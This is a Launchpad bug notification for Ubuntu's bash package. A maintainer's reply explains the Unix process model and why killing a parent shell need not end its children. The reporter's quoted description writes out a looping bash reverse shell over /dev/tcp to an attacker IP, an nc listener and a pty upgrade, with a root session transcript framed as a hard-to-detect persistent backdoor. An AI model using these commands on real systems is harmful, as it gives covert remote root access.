Hello Mitch, excellent report, thanks. This is working as intended.
The Unix process model is complicated, and Linux has added a few additional complications on top; I'll try to summarize it but it's just not going to be easy. When a parent process exits, child processes are not notified by default. The prctl(2) syscall allows a process to be informed when its parent exits. There is no easy mechanism for grand-children to be informed when a grand-parent process exits. bash will send signals to all currently running jobs when it exits. (You can ask bash to skip sending a signal to a job by using the 'disown' shell built-in.) These signals can only be sent if bash continues to run when exiting -- using 'kill -9' in your example above prevents bash from sending signals to its children because a process cannot handle SIGKILL. Try it again with SIGHUP instead of SIGKILL. Processes can ignore or block the SIGHUP signal that bash will send. It is expected that killing a parent process may not influence child processes. If you want to kill a process that has a socket open, you should kill that process directly. ss(8), lsof(8), fuser(1), etc can report which processes are using a given socket. For more details check the signal(7) manpage, bash(1) manpage near 'disown', the prctl(2) manpage near 'PR_SET_PDEATHSIG'. The book Advanced Programming in the Unix Environment also has an excellent description of the Unix process lifecycle. Thanks -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to bash in Ubuntu. https://bugs.launchpad.net/bugs/1857210 Title: process does not close when shell is killed Status in bash package in Ubuntu: Invalid Bug description: [*] As root user only - use your attacker IP and port of your choice. [*] Victim server/client while true; do 0<&196;exec 196<>/dev/tcp/ATTACKING-IP/80; sh <&196 >&196 2>&196 sleep 30 done [*] Attacker Machine nc -lvnp 80 # Or whatever port you plugged into the while loop Once the while loop is executed, you can close the shell (do not kill with Control+C) and the while loop will continue to run. You can attempt to run a "Kill -9" on the pid but the thread below will take over as running process. This leaves a hard to detect reverse shell since the while loop continues to run and executes a rooted backdoor call every 30 seconds. Example below: [*] Victim root@app-server:~# while true; do > 0<&196;exec 196<>/dev/tcp/192.168.1.111/9000; sh <&196 >&196 2>&196 > sleep 30 > done bash: 196: Bad file descriptor bash: connect: Connection refused bash: /dev/tcp/192.168.1.111/9000: Connection refused bash: 196: Bad file descriptor bash: 196: Bad file descriptor bash: connect: Connection refused bash: /dev/tcp/192.168.1.111/9000: Connection refused bash: 196: Bad file descriptor bash: 196: Bad file descriptor [*] Attacker Machine codonnell@codonnell-Precision-WorkStation-T5500:~$ nc -lvnp 9000 Listening on [0.0.0.0] (family 0, port 9000) Connection from 192.168.122.183 41640 received! whoami root * Now we close out the terminal on the Victim machine We can see the call continues: codonnell@codonnell-Precision-WorkStation-T5500:~$ nc -lvnp 9000 Listening on [0.0.0.0] (family 0, port 9000) Connection from 192.168.122.183 41644 received! whoami root python -c 'import pty; pty.spawn("/bin/bash")' root@app-server:~# Now checking the Victim process, we can see the process, let's kill it: codonnell@app-server:~$ ps -aef --forest | less .. root 1323 1 0 17:42 ? 00:00:00 su root 1324 1323 0 17:42 ? 00:00:00 \_ bash root 1346 1324 0 17:46 ? 00:00:00 \_ sh root 1350 1346 0 17:46 ? 00:00:00 \_ python -c import pty; pty.spawn("/bin/bash") root 1351 1350 0 17:46 pts/2 00:00:00 \_ /bin/bash codonnell@app-server:~$ kill -9 1323 codonnell@app-server:~$ ps -aef --forest | less .. root 1324 1 0 17:42 ? 00:00:00 bash root 1346 1324 0 17:46 ? 00:00:00 \_ sh root 1350 1346 0 17:46 ? 00:00:00 \_ python -c import pty; pty.spawn("/bin/bash") root 1351 1350 0 17:46 pts/2 00:00:00 \_ /bin/bash codonnell@app-server:~$ sudo kill -9 1324 [sudo] password for codonnell: codonnell@app-server:~$ ps -aef --forest | less .. root 1346 1 0 17:46 ? 00:00:00 sh root 1350 1346 0 17:46 ? 00:00:00 \_ python -c import pty; pty.spawn("/bin/bash") root 1351 1350 0 17:46 pts/2 00:00:00 \_ /bin/bash We can see the below thread moves up the chain. All while I am on the system: codonnell@app-server:~$ sudo kill -9 1346 codonnell@app-server:~$ ps -aef --forest | less .. root 1350 1 0 17:46 ? 00:00:00 python -c import pty; pty.spawn("/bin/bash") root 1351 1350 0 17:46 pts/2 00:00:00 \_ /bin/bash codonnell@app-server:~$ sudo kill -1350 codonnell@app-server:~$ ps -aef --forest | less The kill -9 is now killed the Attacker shell and the while loop has ended. codonnell@codonnell-Precision-WorkStation-T5500:~$ nc -lvnp 9000 Listening on [0.0.0.0] (family 0, port 9000) Connection from 192.168.122.183 41644 received! whoami root python -c 'import pty; pty.spawn("/bin/bash")' root@app-server:~# My guess is that killing the root process should remove the below threads to avoid a continuous open backdoor on the server. Tested on RHEL as well, this seems to be specific to the Bash package. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: bash 4.4.18-2ubuntu1.2 ProcVersionSignature: Ubuntu 4.15.0-72.81-generic 4.15.18 Uname: Linux 4.15.0-72-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.9 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Sat Dec 21 17:34:54 2019 InstallationDate: Installed on 2019-01-31 (324 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR=<set> LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: bash UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/bash/+bug/1857210/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp